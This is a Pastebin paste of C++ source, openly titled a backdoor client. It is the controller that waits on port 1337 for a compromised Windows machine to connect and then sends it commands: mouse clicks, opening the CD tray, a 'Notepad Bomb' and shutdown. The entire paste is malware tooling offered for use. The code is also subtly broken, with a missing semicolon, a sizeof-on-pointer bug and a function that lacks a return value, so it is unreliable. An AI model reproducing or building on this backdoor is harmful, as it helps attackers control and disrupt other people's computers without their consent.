Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Simple Easy Backdoor Client by St1ks
- #include <winsock2.h>
- #include <windows.h>
- #include <iostream>
- using namespace std;
- SOCKET Socket;
- int ClientInitialize()
- {
- WSADATA wsaData;
- int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
- if ( iResult != NO_ERROR )
- {
- WSACleanup();
- return 0;
- }
- else
- {
- cout << "Winsock initialized." << "\n";
- }
- Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
- if (Socket == INVALID_SOCKET )
- {
- WSACleanup();
- return 0;
- }
- else
- {
- cout << "Socket created." << "\n";
- }
- sockaddr_in service;
- service.sin_family = AF_INET;
- service.sin_addr.s_addr = INADDR_ANY;
- service.sin_port = htons(1337);
- if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
- {
- closesocket(Socket);
- return 0;
- }
- else
- {
- cout << "Socket bound successfully." << "\n";
- }
- if (listen( Socket, 1 ) == SOCKET_ERROR )
- cout << "Error listening on socket." << "\n";
- SOCKET AcceptSocket;
- cout << "Waiting for a client to connect..." << "\n";
- AcceptSocket = SOCKET_ERROR;
- while (AcceptSocket == SOCKET_ERROR )
- {
- AcceptSocket = accept(Socket, NULL, NULL );
- }
- cout << "Client Connected."<< "\n";
- Socket = AcceptSocket;
- }
- void Send()
- {
- for(;;)
- {
- char Choice[MAX_PATH];
- cout << "List of commands:" << "\n";
- cout << "1. Left Mouse" << "\n" << "2. Right Mouse" << "\n";
- cout << "3. Open\\Close CD Tray\n"
- cout << "4. Notepad Bomb" << "\n";
- cout << "5. Shutdown." << "\n";
- cout << "Take your pick: ";
- cin >> Choice;
- send(Socket,(const char*)Choice, sizeof((const char*)Choice),0);
- char ServerResponse[MAX_PATH];
- recv(Socket, ServerResponse, sizeof(ServerResponse), 0);
- cout << "\n" << "\n" << "Command successful!" << "\n" << ServerResponse;
- cout << "\n" << "\n" << "\n" << "\n" << "\n";
- Sleep(2000);
- }
- }
- int main()
- {
- ClientInitialize();
- Send();
- cin.ignore();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment